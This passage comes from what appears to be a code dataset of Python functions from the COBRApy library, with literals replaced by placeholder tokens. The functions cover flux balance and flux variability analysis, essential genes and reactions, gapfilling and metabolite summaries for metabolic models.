used.\n\n    Returns\n    -------\n    bool or dict\n        True if the model can produce the precursors and absorb the products\n        for the reaction operating at, or above, flux_coefficient_cutoff.\n        Otherwise, a dictionary of {'precursor': Status, 'product': Status}.\n        Where Status is the results from assess_precursors and\n        assess_products, respectively.", "id": "f15949:m0"}
{"signature": "def assess_component(model, reaction, side, flux_coefficient_cutoff=<NUM_LIT>,<EOL>solver=None):", "body": "reaction = model.reactions.get_by_any(reaction)[<NUM_LIT:0>]<EOL>result_key = dict(reactants='<STR_LIT>', products='<STR_LIT>')[side]<EOL>get_components = attrgetter(side)<EOL>with model as m:<EOL><INDENT>m.objective = reaction<EOL>if _optimize_or_value(m, solver=solver) >= flux_coefficient_cutoff:<EOL><INDENT>return True<EOL><DEDENT>simulation_results = {}<EOL>demand_reactions = {}<EOL>for component in get_components(reaction):<EOL><INDENT>coeff = reaction.metabolites[component]<EOL>demand = m.add_boundary(component, type='<STR_LIT>')<EOL>demand.metabolites[component] = coeff<EOL>demand_reactions[demand] = (component, coeff)<EOL><DEDENT>joint_demand = Reaction(\"<STR_LIT>\")<EOL>for demand_reaction in demand_reactions:<EOL><INDENT>joint_demand += demand_reaction<EOL><DEDENT>m.add_reactions([joint_demand])<EOL>m.objective = joint_demand<EOL>if _optimize_or_value(m, solver=solver) >= flux_coefficient_cutoff:<EOL><INDENT>return True<EOL><DEDENT>for demand_reaction, (component, coeff) in iteritems(demand_reactions):<EOL><INDENT>with m:<EOL><INDENT>m.objective = demand_reaction<EOL>flux = _optimize_or_value(m, solver=solver)<EOL><DEDENT>if flux_coefficient_cutoff > flux:<EOL><INDENT>simulation_results.update({<EOL>component: {<EOL>'<STR_LIT>': flux_coefficient_cutoff / abs(coeff),<EOL>result_key: flux / abs(coeff)<EOL>}})<EOL><DEDENT><DEDENT>if len(simulation_results) == <NUM_LIT:0>:<EOL><INDENT>simulation_results = False<EOL><DEDENT>return simulation_results<EOL><DEDENT>", "docstring": "Assesses the ability of the model to provide sufficient precursors,\n    or absorb products, for a reaction operating at, or beyond,\n    the specified cutoff.\n\n    Parameters\n    ----------\n    model : cobra.Model\n        The cobra model to assess production capacity for\n\n    reaction : reaction identifier or cobra.Reaction\n        The reaction to assess\n\n    side : basestring\n        Side of the reaction, 'products' or 'reactants'\n\n    flux_coefficient_cutoff :  float\n        The minimum flux that reaction must carry to be considered active.\n\n    solver : basestring\n        Solver name. If None, the default solver will be used.\n\n    Returns\n    -------\n    bool or dict\n        True if the precursors can be simultaneously produced at the\n        specified cutoff. False, if the model has the capacity to produce\n        each individual precursor at the specified threshold  but not all\n        precursors at the required level simultaneously. Otherwise a\n        dictionary of the required and the produced fluxes for each reactant\n        that is not produced in sufficient quantities.", "id": "f15949:m1"}
{"signature": "def assess_precursors(model, reaction, flux_coefficient_cutoff=<NUM_LIT>,<EOL>solver=None):", "body": "warn('<STR_LIT>', DeprecationWarning)<EOL>return assess_component(model, reaction, '<STR_LIT>',<EOL>flux_coefficient_cutoff, solver)<EOL>", "docstring": "Assesses the ability of the model to provide sufficient precursors for\n    a reaction operating at, or beyond, the specified cutoff.\n\n    Deprecated: use assess_component instead\n\n    Parameters\n    ----------\n    model : cobra.Model\n        The cobra model to assess production capacity for\n\n    reaction : reaction identifier or cobra.Reaction\n        The reaction to assess\n\n    flux_coefficient_cutoff :  float\n        The minimum flux that reaction must carry to be considered active.\n\n    solver : basestring\n        Solver name. If None, the default solver will be used.\n\n    Returns\n    -------\n    bool or dict\n        True if the precursors can be simultaneously produced at the\n        specified cutoff. False, if the model has the capacity to produce\n        each individual precursor at the specified threshold  but not all\n        precursors at the required level simultaneously. Otherwise a\n        dictionary of the required and the produced fluxes for each reactant\n        that is not produced in sufficient quantities.", "id": "f15949:m3"}
{"signature": "def assess_products(model, reaction, flux_coefficient_cutoff=<NUM_LIT>,<EOL>solver=None):", "body": "warn('<STR_LIT>', DeprecationWarning)<EOL>return assess_component(model, reaction, '<STR_LIT>',<EOL>flux_coefficient_cutoff, solver)<EOL>", "docstring": "Assesses whether the model has the capacity to absorb the products of\n    a reaction at a given flux rate.\n\n    Useful for identifying which components might be blocking a reaction\n    from achieving a specific flux rate.\n\n    Deprecated: use assess_component instead\n\n    Parameters\n    ----------\n    model : cobra.Model\n        The cobra model to assess production capacity for\n\n    reaction : reaction identifier or cobra.Reaction\n        The reaction to assess\n\n    flux_coefficient_cutoff :  float\n        The minimum flux that reaction must carry to be considered active.\n\n    solver : basestring\n        Solver name. If None, the default solver will be used.\n\n    Returns\n    -------\n    bool or dict\n        True if the model has the capacity to absorb all the reaction\n        products being simultaneously given the specified cutoff.   False,\n        if the model has the capacity to absorb each individual product but\n        not all products at the required level simultaneously.   Otherwise a\n        dictionary of the required and the capacity fluxes for each product\n        that is not absorbed in sufficient quantities.", "id": "f15949:m4"}
{"signature": "def geometric_fba(model, epsilon=<NUM_LIT>, max_tries=<NUM_LIT:200>, processes=None):", "body": "with model:<EOL><INDENT>consts = []<EOL>obj_vars = []<EOL>updating_vars_cons = []<EOL>prob = model.problem<EOL>add_pfba(model)  <EOL>model.optimize()<EOL>fva_sol = flux_variability_analysis(model, processes=processes)<EOL>mean_flux = (fva_sol[\"<STR_LIT>\"] + fva_sol[\"<STR_LIT>\"]).abs() / <NUM_LIT:2><EOL>for rxn in model.reactions:<EOL><INDENT>var = prob.Variable(\"<STR_LIT>\" + rxn.id,<EOL>lb=<NUM_LIT:0>,<EOL>ub=mean_flux[rxn.id])<EOL>upper_const = prob.Constraint(rxn.flux_expression - var,<EOL>ub=mean_flux[rxn.id],<EOL>name=\"<STR_LIT>\" +<EOL>rxn.id)<EOL>lower_const = prob.Constraint(rxn.flux_expression + var,<EOL>lb=fva_sol.at[rxn.id, \"<STR_LIT>\"],<EOL>name=\"<STR_LIT>\" +<EOL>rxn.id)<EOL>updating_vars_cons.append((rxn.id, var, upper_const, lower_const))<EOL>consts.extend([var, upper_const, lower_const])<EOL>obj_vars.append(var)<EOL><DEDENT>model.add_cons_vars(consts)<EOL>model.objective = prob.Objective(Zero, sloppy=True, direction=\"<STR_LIT>\")<EOL>model.objective.set_linear_coefficients({v: <NUM_LIT:1.0> for v in obj_vars})<EOL>sol = model.optimize()<EOL>fva_sol = flux_variability_analysis(model, processes=processes)<EOL>mean_flux = (fva_sol[\"<STR_LIT>\"] + fva_sol[\"<STR_LIT>\"]).abs() / <NUM_LIT:2><EOL>delta = (fva_sol[\"<STR_LIT>\"] - fva_sol[\"<STR_LIT>\"]).max()<EOL>count = <NUM_LIT:1><EOL>LOGGER.debug(\"<STR_LIT>\",<EOL>count, delta, sol.status)<EOL>while delta > epsilon and count < max_tries:<EOL><INDENT>for rxn_id, var, u_c, l_c in updating_vars_cons:<EOL><INDENT>var.ub = mean_flux[rxn_id]<EOL>u_c.ub = mean_flux[rxn_id]<EOL>l_c.lb = fva_sol.at[rxn_id, \"<STR_LIT>\"]<EOL><DEDENT>sol = model.optimize()<EOL>fva_sol = flux_variability_analysis(model, processes=processes)<EOL>mean_flux = (fva_sol[\"<STR_LIT>\"] + fva_sol[\"<STR_LIT>\"]).abs() / <NUM_LIT:2><EOL>delta = (fva_sol[\"<STR_LIT>\"] - fva_sol[\"<STR_LIT>\"]).max()<EOL>count += <NUM_LIT:1><EOL>LOGGER.debug(\"<STR_LIT>\",<EOL>count, delta, sol.status)<EOL><DEDENT>if count == max_tries:<EOL><INDENT>raise RuntimeError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(max_tries)<EOL>)<EOL><DEDENT><DEDENT>return sol<EOL>", "docstring": "Perform geometric FBA to obtain a unique, centered flux distribution.\n\nGeometric FBA [1]_ formulates the problem as a polyhedron and\nthen solves it by bounding the convex hull of the polyhedron.\nThe bounding forms a box around the convex hull which reduces\nwith every iteration and extracts a unique solution in this way.\n\nParameters\n----------\nmodel: cobra.Model\n    The model to perform geometric FBA on.\nepsilon: float, optional\n    The convergence tolerance of the model (default 1E-06).\nmax_tries: int, optional\n    Maximum number of iterations (default 200).\nprocesses : int, optional\n    The number of parallel processes to run. If not explicitly passed,\n    will be set from the global configuration singleton.\n\nReturns\n-------\ncobra.Solution\n    The solution object containing all the constraints required\n    for geometric FBA.\n\nReferences\n----------\n.. [1] Smallbone, Kieran & Simeonidis, Vangelis. (2009).\n       Flux balance analysis: A geometric perspective.\n       Journal of theoretical biology.258. 311-5.\n       10.1016/j.jtbi.2009.01.027.", "id": "f15950:m0"}
{"signature": "def _init_worker(model, loopless, sense):", "body": "global _model<EOL>global _loopless<EOL>_model = model<EOL>_model.solver.objective.direction = sense<EOL>_loopless = loopless<EOL>", "docstring": "Initialize a global model object for multiprocessing.", "id": "f15951:m0"}
{"signature": "def flux_variability_analysis(model, reaction_list=None, loopless=False,<EOL>fraction_of_optimum=<NUM_LIT:1.0>, pfba_factor=None,<EOL>processes=None):", "body": "if reaction_list is None:<EOL><INDENT>reaction_ids = [r.id for r in model.reactions]<EOL><DEDENT>else:<EOL><INDENT>reaction_ids = [r.id<EOL>for r in model.reactions.get_by_any(reaction_list)]<EOL><DEDENT>if processes is None:<EOL><INDENT>processes = CONFIGURATION.processes<EOL><DEDENT>num_reactions = len(reaction_ids)<EOL>processes = min(processes, num_reactions)<EOL>fva_result = DataFrame({<EOL>\"<STR_LIT>\": zeros(num_reactions, dtype=float),<EOL>\"<STR_LIT>\": zeros(num_reactions, dtype=float)<EOL>}, index=reaction_ids)<EOL>prob = model.problem<EOL>with model:<EOL><INDENT>model.slim_optimize(error_value=None,<EOL>message=\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>if model.solver.objective.direction == \"<STR_LIT>\":<EOL><INDENT>fva_old_objective = prob.Variable(<EOL>\"<STR_LIT>\",<EOL>lb=fraction_of_optimum * model.solver.objective.value)<EOL><DEDENT>else:<EOL><INDENT>fva_old_objective = prob.Variable(<EOL>\"<STR_LIT>\",<EOL>ub=fraction_of_optimum * model.solver.objective.value)<EOL><DEDENT>fva_old_obj_constraint = prob.Constraint(<EOL>model.solver.objective.expression - fva_old_objective, lb=<NUM_LIT:0>, ub=<NUM_LIT:0>,<EOL>name=\"<STR_LIT>\")<EOL>model.add_cons_vars([fva_old_objective, fva_old_obj_constraint])<EOL>if pfba_factor is not None:<EOL><INDENT>if pfba_factor < <NUM_LIT:1.>:<EOL><INDENT>warn(\"<STR_LIT>\",<EOL>UserWarning)<EOL><DEDENT>with model:<EOL><INDENT>add_pfba(model, fraction_of_optimum=<NUM_LIT:0>)<EOL>ub = model.slim_optimize(error_value=None)<EOL>flux_sum = prob.Variable(\"<STR_LIT>\", ub=pfba_factor * ub)<EOL>flux_sum_constraint = prob.Constraint(<EOL>model.solver.objective.expression - flux_sum, lb=<NUM_LIT:0>, ub=<NUM_LIT:0>,<EOL>name=\"<STR_LIT>\")<EOL><DEDENT>model.add_cons_vars([flux_sum, flux_sum_constraint])<EOL><DEDENT>model.objective = Zero  <EOL>for what in (\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>if processes > <NUM_LIT:1>:<EOL><INDENT>chunk_size = len(reaction_ids) // processes<EOL>pool = multiprocessing.Pool(<EOL>processes,<EOL>initializer=_init_worker,<EOL>initargs=(model, loopless, what[:<NUM_LIT:3>])<EOL>)<EOL>for rxn_id, value in pool.imap_unordered(_fva_step,<EOL>reaction_ids,<EOL>chunksize=chunk_size):<EOL><INDENT>fva_result.at[rxn_id, what] = value<EOL><DEDENT>pool.close()<EOL>pool.join()<EOL><DEDENT>else:<EOL><INDENT>_init_worker(model, loopless, what[:<NUM_LIT:3>])<EOL>for rxn_id, value in map(_fva_step, reaction_ids):<EOL><INDENT>fva_result.at[rxn_id, what] = value<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return fva_result[[\"<STR_LIT>\", \"<STR_LIT>\"]]<EOL>", "docstring": "Determine the minimum and maximum possible flux value for each reaction.\n\nParameters\n----------\nmodel : cobra.Model\n    The model for which to run the analysis. It will *not* be modified.\nreaction_list : list of cobra.Reaction or str, optional\n    The reactions for which to obtain min/max fluxes. If None will use\n    all reactions in the model (default).\nloopless : boolean, optional\n    Whether to return only loopless solutions. This is significantly\n    slower. Please also refer to the notes.\nfraction_of_optimum : float, optional\n    Must be <= 1.0. Requires that the objective value is at least the\n    fraction times maximum objective value. A value of 0.85 for instance\n    means that the objective has to be at least at 85% percent of its\n    maximum.\npfba_factor : float, optional\n    Add an additional constraint to the model that requires the total sum\n    of absolute fluxes must not be larger than this value times the\n    smallest possible sum of absolute fluxes, i.e., by setting the value\n    to 1.1 the total sum of absolute fluxes must not be more than\n    10% larger than the pFBA solution. Since the pFBA solution is the\n    one that optimally minimizes the total flux sum, the ``pfba_factor``\n    should, if set, be larger than one. Setting this value may lead to\n    more realistic predictions of the effective flux bounds.\nprocesses : int, optional\n    The number of parallel processes to run. If not explicitly passed,\n    will be set from the global configuration singleton.\n\nReturns\n-------\npandas.DataFrame\n    A data frame with reaction identifiers as the index and two columns:\n    - maximum: indicating the highest possible flux\n    - minimum: indicating the lowest possible flux\n\nNotes\n-----\nThis implements the fast version as described in [1]_. Please note that\nthe flux distribution containing all minimal/maximal fluxes does not have\nto be a feasible solution for the model. Fluxes are minimized/maximized\nindividually and a single minimal flux might require all others to be\nsuboptimal.\n\nUsing the loopless option will lead to a significant increase in\ncomputation time (about a factor of 100 for large models). However, the\nalgorithm used here (see [2]_) is still more than 1000x faster than the\n\"naive\" version using ``add_loopless(model)``. Also note that if you have\nincluded constraints that force a loop (for instance by setting all fluxes\nin a loop to be non-zero) this loop will be included in the solution.\n\nReferences\n----------\n.. [1] Computationally efficient flux variability analysis.\n   Gudmundsson S, Thiele I.\n   BMC Bioinformatics. 2010 Sep 29;11:489.\n   doi: 10.1186/1471-2105-11-489, PMID: 20920235\n\n.. [2] CycleFreeFlux: efficient removal of thermodynamically infeasible\n   loops from flux distributions.\n   Desouki AA, Jarre F, Gelius-Dietrich G, Lercher MJ.\n   Bioinformatics. 2015 Jul 1;31(13):2159-65.\n   doi: 10.1093/bioinformatics/btv096.", "id": "f15951:m2"}
{"signature": "def find_blocked_reactions(model,<EOL>reaction_list=None,<EOL>zero_cutoff=None,<EOL>open_exchanges=False,<EOL>processes=None):", "body": "zero_cutoff = normalize_cutoff(model, zero_cutoff)<EOL>with model:<EOL><INDENT>if open_exchanges:<EOL><INDENT>for reaction in model.exchanges:<EOL><INDENT>reaction.bounds = (min(reaction.lower_bound, -<NUM_LIT:1000>),<EOL>max(reaction.upper_bound, <NUM_LIT:1000>))<EOL><DEDENT><DEDENT>if reaction_list is None:<EOL><INDENT>reaction_list = model.reactions<EOL><DEDENT>model.slim_optimize()<EOL>solution = get_solution(model, reactions=reaction_list)<EOL>reaction_list = solution.fluxes[<EOL>solution.fluxes.abs() < zero_cutoff].index.tolist()<EOL>flux_span = flux_variability_analysis(<EOL>model, fraction_of_optimum=<NUM_LIT:0.>, reaction_list=reaction_list,<EOL>processes=processes<EOL>)<EOL>return flux_span[<EOL>flux_span.abs().max(axis=<NUM_LIT:1>) < zero_cutoff].index.tolist()<EOL><DEDENT>", "docstring": "Find reactions that cannot carry any flux.\n\nThe question whether or not a reaction is blocked is highly dependent\non the current exchange reaction settings for a COBRA model. Hence an\nargument is provided to open all exchange reactions.\n\nNotes\n-----\nSink and demand reactions are left untouched. Please modify them manually.\n\nParameters\n----------\nmodel : cobra.Model\n    The model to analyze.\nreaction_list : list, optional\n    List of reactions to consider, the default includes all model\n    reactions.\nzero_cutoff : float, optional\n    Flux value which is considered to effectively be zero\n    (default model.tolerance).\nopen_exchanges : bool, optional\n    Whether or not to open all exchange reactions to very high flux ranges.\nprocesses : int, optional\n    The number of parallel processes to run. Can speed up the computations\n    if the number of reactions is large. If not explicitly\n    passed, it will be set from the global configuration singleton.\n\nReturns\n-------\nlist\n    List with the identifiers of blocked reactions.", "id": "f15951:m3"}
{"signature": "def find_essential_genes(model, threshold=None, processes=None):", "body": "if threshold is None:<EOL><INDENT>threshold = model.slim_optimize(error_value=None) * <NUM_LIT><EOL><DEDENT>deletions = single_gene_deletion(model, method='<STR_LIT>', processes=processes)<EOL>essential = deletions.loc[deletions['<STR_LIT>'].isna() |<EOL>(deletions['<STR_LIT>'] < threshold), :].index<EOL>return {model.genes.get_by_id(g) for ids in essential for g in ids}<EOL>", "docstring": "Return a set of essential genes.\n\nA gene is considered essential if restricting the flux of all reactions\nthat depend on it to zero causes the objective, e.g., the growth rate,\nto also be zero, below the threshold, or infeasible.\n\nParameters\n----------\nmodel : cobra.Model\n    The model to find the essential genes for.\nthreshold : float, optional\n    Minimal objective flux to be considered viable. By default this is\n    1% of the maximal objective.\nprocesses : int, optional\n    The number of parallel processes to run. If not passed,\n    will be set to the number of CPUs found.\nprocesses : int, optional\n    The number of parallel processes to run. Can speed up the computations\n    if the number of knockouts to perform is large. If not explicitly\n    passed, it will be set from the global configuration singleton.\n\nReturns\n-------\nset\n    Set of essential genes", "id": "f15951:m4"}
{"signature": "def find_essential_reactions(model, threshold=None, processes=None):", "body": "if threshold is None:<EOL><INDENT>threshold = model.slim_optimize(error_value=None) * <NUM_LIT><EOL><DEDENT>deletions = single_reaction_deletion(<EOL>model, method='<STR_LIT>', processes=processes)<EOL>essential = deletions.loc[deletions['<STR_LIT>'].isna() |<EOL>(deletions['<STR_LIT>'] < threshold), :].index<EOL>return {model.reactions.get_by_id(r) for ids in essential for r in ids}<EOL>", "docstring": "Return a set of essential reactions.\n\n    A reaction is considered essential if restricting its flux to zero\n    causes the objective, e.g., the growth rate, to also be zero, below the\n    threshold, or infeasible.\n\n\n    Parameters\n    ----------\n    model : cobra.Model\n        The model to find the essential reactions for.\n    threshold : float, optional\n        Minimal objective flux to be considered viable. By default this is\n        1% of the maximal objective.\n    processes : int, optional\n        The number of parallel processes to run. Can speed up the computations\n        if the number of knockouts to perform is large. If not explicitly\n        passed, it will be set from the global configuration singleton.\n\n    Returns\n    -------\n    set\n        Set of essential reactions", "id": "f15951:m5"}
{"signature": "def gapfill(model, universal=None, lower_bound=<NUM_LIT>,<EOL>penalties=None, demand_reactions=True, exchange_reactions=False,<EOL>iterations=<NUM_LIT:1>):", "body": "gapfiller = GapFiller(model, universal=universal,<EOL>lower_bound=lower_bound, penalties=penalties,<EOL>demand_reactions=demand_reactions,<EOL>exchange_reactions=exchange_reactions)<EOL>return gapfiller.fill(iterations=iterations)<EOL>", "docstring": "Perform gapfilling on a model.\n\n    See documentation for the class GapFiller.\n\n    Parameters\n    ----------\n    model : cobra.Model\n        The model to perform gap filling on.\n    universal : cobra.Model, None\n        A universal model with reactions that can be used to complete the\n        model. Only gapfill considering demand and exchange reactions if\n        left missing.\n    lower_bound : float\n        The minimally accepted flux for the objective in the filled model.\n    penalties : dict, None\n        A dictionary with keys being 'universal' (all reactions included in\n        the universal model), 'exchange' and 'demand' (all additionally\n        added exchange and demand reactions) for the three reaction types.\n        Can also have reaction identifiers for reaction specific costs.\n        Defaults are 1, 100 and 1 respectively.\n    iterations : int\n        The number of rounds of gapfilling to perform. For every iteration,\n        the penalty for every used reaction increases linearly. This way,\n        the algorithm is encouraged to search for alternative solutions\n        which may include previously used reactions. I.e., with enough\n        iterations pathways including 10 steps will eventually be reported\n        even if the shortest pathway is a single reaction.\n    exchange_reactions : bool\n        Consider adding exchange (uptake) reactions for all metabolites\n        in the model.\n    demand_reactions : bool\n        Consider adding demand reactions for all metabolites.\n\n    Returns\n    -------\n    iterable\n        list of lists with on set of reactions that completes the model per\n        requested iteration.\n\n    Examples\n    --------\n    >>> import cobra.test as ct\n    >>> from cobra import Model\n    >>> from cobra.flux_analysis import gapfill\n    >>> model = ct.create_test_model(\"salmonella\")\n    >>> universal = Model('universal')\n    >>> universal.add_reactions(model.reactions.GF6PTA.copy())\n    >>> model.remove_reactions([model.reactions.GF6PTA])\n    >>> gapfill(model, universal)", "id": "f15952:m0"}
{"signature": "def extend_model(self, exchange_reactions=False, demand_reactions=True):", "body": "for rxn in self.universal.reactions:<EOL><INDENT>rxn.gapfilling_type = '<STR_LIT>'<EOL><DEDENT>new_metabolites = self.universal.metabolites.query(<EOL>lambda metabolite: metabolite not in self.model.metabolites<EOL>)<EOL>self.model.add_metabolites(new_metabolites)<EOL>existing_exchanges = []<EOL>for rxn in self.universal.boundary:<EOL><INDENT>existing_exchanges = existing_exchanges +[met.id for met in list(rxn.metabolites)]<EOL><DEDENT>for met in self.model.metabolites:<EOL><INDENT>if exchange_reactions:<EOL><INDENT>if met.id not in existing_exchanges:<EOL><INDENT>rxn = self.universal.add_boundary(<EOL>met, type='<STR_LIT>', lb=-<NUM_LIT:1000>, ub=<NUM_LIT:0>,<EOL>reaction_id='<STR_LIT>'.format(met.id))<EOL>rxn.gapfilling_type = '<STR_LIT>'<EOL><DEDENT><DEDENT>if demand_reactions:<EOL><INDENT>rxn = self.universal.add_boundary(<EOL>met, type='<STR_LIT>', lb=<NUM_LIT:0>, ub=<NUM_LIT:1000>,<EOL>reaction_id='<STR_LIT>'.format(met.id))<EOL>rxn.gapfilling_type = '<STR_LIT>'<EOL><DEDENT><DEDENT>new_reactions = self.universal.reactions.query(<EOL>lambda reaction: reaction not in self.model.reactions<EOL>)<EOL>self.model.add_reactions(new_reactions)<EOL>", "docstring": "Extend gapfilling model.\n\n        Add reactions from universal model and optionally exchange and\n        demand reactions for all metabolites in the model to perform\n        gapfilling on.\n\n        Parameters\n        ----------\n        exchange_reactions : bool\n            Consider adding exchange (uptake) reactions for all metabolites\n            in the model.\n        demand_reactions : bool\n            Consider adding demand reactions for all metabolites.", "id": "f15952:c0:m1"}
{"signature": "def update_costs(self):", "body": "for var in self.indicators:<EOL><INDENT>if var not in self.costs:<EOL><INDENT>self.costs[var] = var.cost<EOL><DEDENT>else:<EOL><INDENT>if var._get_primal() > self.integer_threshold:<EOL><INDENT>self.costs[var] += var.cost<EOL><DEDENT><DEDENT><DEDENT>self.model.objective.set_linear_coefficients(self.costs)<EOL>", "docstring": "Update the coefficients for the indicator variables in the objective.\n\n        Done incrementally so that second time the function is called,\n        active indicators in the current solutions gets higher cost than the\n        unused indicators.", "id": "f15952:c0:m2"}
{"signature": "def add_switches_and_objective(self):", "body": "constraints = list()<EOL>big_m = max(max(abs(b) for b in r.bounds)<EOL>for r in self.model.reactions)<EOL>prob = self.model.problem<EOL>for rxn in self.model.reactions:<EOL><INDENT>if not hasattr(rxn, '<STR_LIT>'):<EOL><INDENT>continue<EOL><DEDENT>indicator = prob.Variable(<EOL>name='<STR_LIT>'.format(rxn.id), lb=<NUM_LIT:0>, ub=<NUM_LIT:1>, type='<STR_LIT>')<EOL>if rxn.id in self.penalties:<EOL><INDENT>indicator.cost = self.penalties[rxn.id]<EOL><DEDENT>else:<EOL><INDENT>indicator.cost = self.penalties[rxn.gapfilling_type]<EOL><DEDENT>indicator.rxn_id = rxn.id<EOL>self.indicators.append(indicator)<EOL>constraint_lb = prob.Constraint(<EOL>rxn.flux_expression - big_m * indicator, ub=<NUM_LIT:0>,<EOL>name='<STR_LIT>'.format(rxn.id), sloppy=True)<EOL>constraint_ub = prob.Constraint(<EOL>rxn.flux_expression + big_m * indicator, lb=<NUM_LIT:0>,<EOL>name='<STR_LIT>'.format(rxn.id), sloppy=True)<EOL>constraints.extend([constraint_lb, constraint_ub])<EOL><DEDENT>self.model.add_cons_vars(self.indicators)<EOL>self.model.add_cons_vars(constraints, sloppy=True)<EOL>self.model.objective = prob.Objective(<EOL>Zero, direction='<STR_LIT>', sloppy=True)<EOL>self.model.objective.set_linear_coefficients({<EOL>i: <NUM_LIT:1> for i in self.indicators})<EOL>self.update_costs()<EOL>", "docstring": "Update gapfilling model with switches and the indicator objective.", "id": "f15952:c0:m3"}
{"signature": "def fill(self, iterations=<NUM_LIT:1>):", "body": "used_reactions = list()<EOL>for i in range(iterations):<EOL><INDENT>self.model.slim_optimize(error_value=None,<EOL>message='<STR_LIT>')<EOL>solution = [self.model.reactions.get_by_id(ind.rxn_id)<EOL>for ind in self.indicators if<EOL>ind._get_primal() > self.integer_threshold]<EOL>if not self.validate(solution):<EOL><INDENT>raise RuntimeError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>used_reactions.append(solution)<EOL>self.update_costs()<EOL><DEDENT>return used_reactions<EOL>", "docstring": "Perform the gapfilling by iteratively solving the model, updating\n        the costs and recording the used reactions.\n\n\n        Parameters\n        ----------\n        iterations : int\n            The number of rounds of gapfilling to perform. For every\n            iteration, the penalty for every used reaction increases\n            linearly. This way, the algorithm is encouraged to search for\n            alternative solutions which may include previously used\n            reactions. I.e., with enough iterations pathways including 10\n            steps will eventually be reported even if the shortest pathway\n            is a single reaction.\n\n        Returns\n        -------\n        iterable\n            A list of lists where each element is a list reactions that were\n            used to gapfill the model.\n\n        Raises\n        ------\n        RuntimeError\n            If the model fails to be validated (i.e. the original model with\n            the proposed reactions added, still cannot get the required flux\n            through the objective).", "id": "f15952:c0:m4"}
{"signature": "def metabolite_summary(met, solution=None, threshold=<NUM_LIT>, fva=False,<EOL>names=False, floatfmt='<STR_LIT>'):", "body": "if names:<EOL><INDENT>emit = attrgetter('<STR_LIT:name>')<EOL><DEDENT>else:<EOL><INDENT>emit = attrgetter('<STR_LIT:id>')<EOL><DEDENT>if solution is None:<EOL><INDENT>met.model.slim_optimize(error_value=None)<EOL>solution = get_solution(met.model, reactions=met.reactions)<EOL><DEDENT>rxns = sorted(met.reactions, key=attrgetter(\"<STR_LIT:id>\"))<EOL>rxn_id = list()<EOL>rxn_name = list()<EOL>flux = list()<EOL>reaction = list()<EOL>for rxn in rxns:<EOL><INDENT>rxn_id.append(rxn.id)<EOL>rxn_name.append(format_long_string(emit(rxn), <NUM_LIT:10>))<EOL>flux.append(solution[rxn.id] * rxn.metabolites[met])<EOL>txt = rxn.build_reaction_string(use_metabolite_names=names)<EOL>reaction.append(format_long_string(txt, <NUM_LIT> if fva is not None else <NUM_LIT:50>))<EOL><DEDENT>flux_summary = pd.DataFrame({<EOL>\"<STR_LIT:id>\": rxn_name,<EOL>\"<STR_LIT>\": flux,<EOL>\"<STR_LIT>\": reaction<EOL>}, index=rxn_id)<EOL>if fva is not None:<EOL><INDENT>if hasattr(fva, '<STR_LIT>'):<EOL><INDENT>fva_results = fva<EOL><DEDENT>else:<EOL><INDENT>fva_results = flux_variability_analysis(<EOL>met.model, list(met.reactions), fraction_of_optimum=fva)<EOL><DEDENT>flux_summary[\"<STR_LIT>\"] = zeros(len(rxn_id), dtype=float)<EOL>flux_summary[\"<STR_LIT>\"] = zeros(len(rxn_id), dtype=float)<EOL>for rxn in rxns:<EOL><INDENT>fmax = rxn.metabolites[met] * fva_results.at[rxn.id, \"<STR_LIT>\"]<EOL>fmin = rxn.metabolites[met] * fva_results.at[rxn.id, \"<STR_LIT>\"]<EOL>if abs(fmin) <= abs(fmax):<EOL><INDENT>flux_summary.at[rxn.id, \"<STR_LIT>\"] = fmax<EOL>flux_summary.at[rxn.id, \"<STR_LIT>\"] = fmin<EOL><DEDENT>else:<EOL><INDENT>flux_summary.at[rxn.id, \"<STR_LIT>\"] = fmin<EOL>flux_summary.at[rxn.id, \"<STR_LIT>\"] = fmax<EOL><DEDENT><DEDENT><DEDENT>assert flux_summary[\"<STR_LIT>\"].sum() < <NUM_LIT>, \"<STR_LIT>\"<EOL>flux_summary = _process_flux_dataframe(flux_summary, fva, threshold,<EOL>floatfmt)<EOL>flux_summary['<STR_LIT>'] = <NUM_LIT:0><EOL>total_flux = flux_summary.loc[flux_summary.is_input, \"<STR_LIT>\"].sum()<EOL>flux_summary.loc[flux_summary.is_input, '<STR_LIT>'] =flux_summary.loc[flux_summary.is_input, '<STR_LIT>'] / total_flux<EOL>flux_summary.loc[~flux_summary.is_input, '<STR_LIT>'] =flux_summary.loc[~flux_summary.is_input, '<STR_LIT>'] / total_flux<EOL>flux_summary['<STR_LIT>'] = flux_summary.percent.apply(<EOL>lambda x: '<STR_LIT>'.format(x))<EOL>if fva is not None:<EOL><INDENT>flux_table = tabulate(<EOL>flux_summary.loc[:, ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:id>',<EOL>'<STR_LIT>']].values, floatfmt=floatfmt,<EOL>headers=['<STR_LIT:%>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']).split('<STR_LIT:\\n>')<EOL><DEDENT>else:<EOL><INDENT>flux_table = tabulate(<EOL>flux_summary.loc[:, ['<STR_LIT>', '<STR_LIT>', '<STR_LIT:id>', '<STR_LIT>']].values,<EOL>floatfmt=floatfmt, headers=['<STR_LIT:%>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>).split('<STR_LIT:\\n>')<EOL><DEDENT>flux_table_head = flux_table[:<NUM_LIT:2>]<EOL>met_tag = \"<STR_LIT>\".format(format_long_string(met.name, <NUM_LIT>),<EOL>format_long_string(met.id, <NUM_LIT:10>))<EOL>head = \"<STR_LIT>\" + met_tag<EOL>print_(head)<EOL>print_(\"<STR_LIT:->\" * len(head))<EOL>print_('<STR_LIT:\\n>'.join(flux_table_head))<EOL>print_('<STR_LIT:\\n>'.join(<EOL>pd.np.array(flux_table[<NUM_LIT:2>:])[flux_summary.is_input.values]))<EOL>print_()<EOL>print_(\"<STR_LIT>\" + met_tag)<EOL>print_(\"<STR_LIT:->\" * len(head))<EOL>print_('<STR_LIT:\\n>'.join(flux_table_head))<EOL>print_('<STR_LIT:\\n>'.join(<EOL>pd.np.array(flux_table[<NUM_LIT:2>:])[~flux_summary.is_input.values]))<EOL>", "docstring": "Print a summary of the production and consumption 